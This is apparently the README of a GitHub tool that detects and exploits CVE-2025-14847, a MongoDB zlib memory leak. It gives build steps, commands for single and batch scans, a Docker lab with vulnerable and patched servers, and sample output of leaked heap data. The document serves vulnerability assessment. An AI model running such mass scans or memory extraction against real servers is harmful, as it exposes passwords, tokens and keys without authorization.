MongoDB CVE-2025-14847 Vulnerability Detection Tool

MongoDB Memory Leak Vulnerability (CVE-2025-14847) Detection Tool

---

⚠️ Important: This tool is for authorized security testing and vulnerability assessment only. Unauthorized use may violate the law.

---

📋 Table of Contents

• Vulnerability Description
• Features
• Installation
• Usage
• Setting Up a Test Environment
• Output Examples
• Detection Principle
• Remediation Suggestions
• Disclaimer

🔍 Vulnerability Description

CVE-2025-14847 is a serious memory leak vulnerability in the MongoDB Zlib compression protocol handling. An attacker can send maliciously crafted compressed packets, causing MongoDB to return uninitialized heap memory data that may contain sensitive information.

Affected Versions

Version Range	Status
8.2.0 - 8.2.2	⚠️ Affected
8.0.0 - 8.0.16	⚠️ Affected
7.0.0 - 7.0.27	⚠️ Affected
6.0.0 - 6.0.26	⚠️ Affected
5.0.0 - 5.0.31	⚠️ Affected
4.4.0 - 4.4.29	⚠️ Affected
4.2.x all versions	⚠️ Affected
4.0.x all versions	⚠️ Affected
3.6.x all versions	⚠️ Affected

Impact

• 🔴 Severity: CVSS 8.7 (High)
• 💾 Leaks sensitive data from heap memory
• 🔑 May contain passwords, session tokens, encryption keys, etc.
• 🚫 No authentication required for exploitation
• 🌐 Remotely exploitable

✨ Features

• ✅ Intelligent Detection – Automatically identifies MongoDB version and determines if affected
• ✅ Two-Factor Verification – Version detection → Zlib support detection → Memory leak extraction
• ✅ Single Target Scan – Quickly test a single MongoDB instance
• ✅ Batch Scan – Read target list from file for batch detection
• ✅ Concurrent Scanning – Multi-threaded concurrency for improved efficiency
• ✅ Real-time Output – Display leaked memory data in real time
• ✅ Result Export – Automatically save vulnerable targets to a file
• ✅ Clean Output – Unified output format, clear and concise

🚀 Installation

Method 1: Build from Source

# Clone the repository
git clone https://github.com/onewinner/CVE-2025-14847.git
cd CVE-2025-14847

# Install dependencies
go mod download

# Build
go build -o mongodb-scanner main.go

# Run
./mongodb-scanner -t 127.0.0.1:27017

Method 2: Run Directly

go run main.go -t 127.0.0.1:27017

Method 3: Download Prebuilt Binary

Go to the Releases page to download a prebuilt binary for your system.

📖 Usage

Basic Usage

# Scan a single target
./mongodb-scanner -t 127.0.0.1:27017

# Batch scan from file
./mongodb-scanner -f targets.txt

# Batch scan with 20 threads
./mongodb-scanner -f targets.txt -c 20

# Scan and save vulnerable targets
./mongodb-scanner -f targets.txt -o vulnerable.txt

# Custom offset range (faster or deeper scan)
./mongodb-scanner -t 127.0.0.1:27017 --min-offset 20 --max-offset 1000

Command-Line Arguments

Argument	Description	Default
-t <target>	Single target (e.g., 127.0.0.1:27017)	-
-f <file>	Target file (one target per line)	-
-c <num>	Number of concurrent threads	10
-timeout <time>	Connection timeout	2s
-o <file>	Output file (save vulnerable targets)	-
--min-offset <num>	Minimum document length offset	20
--max-offset <num>	Maximum document length offset	8192

Target File Format

Create a targets.txt file:

# MongoDB target list
127.0.0.1:27017
192.168.1.100:27017
mongodb.example.com:27017

# If no port is specified, defaults to 27017
192.168.1.101

🐳 Setting Up a Test Environment

To safely test this tool, it is recommended to set up a local test environment using Docker.

Quickly Start a Vulnerable MongoDB

# Start MongoDB 6.0.14 (vulnerable version) with Zlib compression enabled
docker run -d \
  --name mongodb-vulnerable \
  -p 27017:27017 \
  mongo:6.0.14 \
  --networkMessageCompressors snappy,zlib

# Check container status
docker ps

# Test the vulnerability
./mongodb-scanner -t 127.0.0.1:27017

Using Docker Compose

Create a docker-compose.yml file:

version: '3.8'

services:
  # Vulnerable version (Zlib enabled)
  mongodb-vulnerable:
    image: mongo:6.0.14
    container_name: mongodb-vulnerable
    ports:
      - "27017:27017"
    command: mongod --networkMessageCompressors snappy,zlib

  # Patched version (for comparison testing)
  mongodb-patched:
    image: mongo:6.0.27
    container_name: mongodb-patched
    ports:
      - "27018:27017"
    command: mongod --networkMessageCompressors snappy,zlib

volumes:
  mongodb-data:
  mongodb-patched-data:

Start the test environment:

# Start all containers
docker-compose up -d

# Test the vulnerable version
./mongodb-scanner -t 127.0.0.1:27017

# Test the patched version
./mongodb-scanner -t 127.0.0.1:27018

# Stop and clean up
docker-compose down -v

Cleaning Up the Test Environment

# Stop and remove containers
docker stop mongodb-vulnerable && docker rm mongodb-vulnerable

# Prune volumes
docker volume prune -f

📊 Output Examples

Output Format Description

The tool uses unified prefixes to mark output:

• [*] – Information output (target, version, configuration, etc.)
• [+] – Success/vulnerable/data extracted
• [-] – Failure/secure/no vulnerability
• [!] – Warning/important notice

Single Target Scan – Vulnerable

╔══════════════════════════════════════════════════════════════╗
║  MongoDB CVE-2025-14847 Vulnerability Detection Tool        ║
╚══════════════════════════════════════════════════════════════╝
⚠️  For authorized security testing only | Unauthorized testing may be illegal

[*] Target: 1 | Threads: 10 | Timeout: 2s | Offset: 20-1000
[*] Starting scan...

[*] Target: 127.0.0.1:27017
[*] Version: 6.0.14
[+] Vulnerable version: Yes
[+] Zlib compression: Enabled
[!] Vulnerability exploitable, starting memory extraction...
[+] Offset=229 Length=250: :00\"},\"s\":\"I\",  \"c\":\"NETWORK\",  \"id\":22944,   \"ctx\":\"conn102932\",

[+] 127.0.0.1:27017 - Vulnerability exploitable (v6.0.14) - 3468ms
[+] Successfully extracted 1 memory data item:
    [1] :00\"},\"s\":\"I\",  \"c\":\"NETWORK\",  \"id\":22944,   \"ctx\":\"conn102932\",\"msg\":\"Connection ended\",\"attr\":{\"remote\":\"172.17.0.1:44936\"...

======================================================================
[*] Scan complete | Total: 1 | Exploitable: 1 | Secure: 0 | Duration: 3.4s
======================================================================

Single Target Scan – Version Secure

[*] Target: 127.0.0.1:27018
[*] Version: 6.0.27
[-] Vulnerable version: No

[-] 127.0.0.1:27018 - Version secure (v6.0.27) - 156ms

======================================================================
[*] Scan complete | Total: 1 | Exploitable: 0 | Secure: 1 | Duration: 0.2s
======================================================================

Single Target Scan – Zlib Not Enabled

[*] Target: 127.0.0.1:27017
[*] Version: 6.0.14
[+] Vulnerable version: Yes
[-] Zlib compression: Not enabled

[-] 127.0.0.1:27017 - Zlib not enabled (v6.0.14) - 234ms

======================================================================
[*] Scan complete | Total: 1 | Exploitable: 0 | Secure: 1 | Duration: 0.3s
======================================================================

Batch Scan

[*] Target: 5 | Threads: 10 | Timeout: 2s | Offset: 20-8192
[*] Starting scan...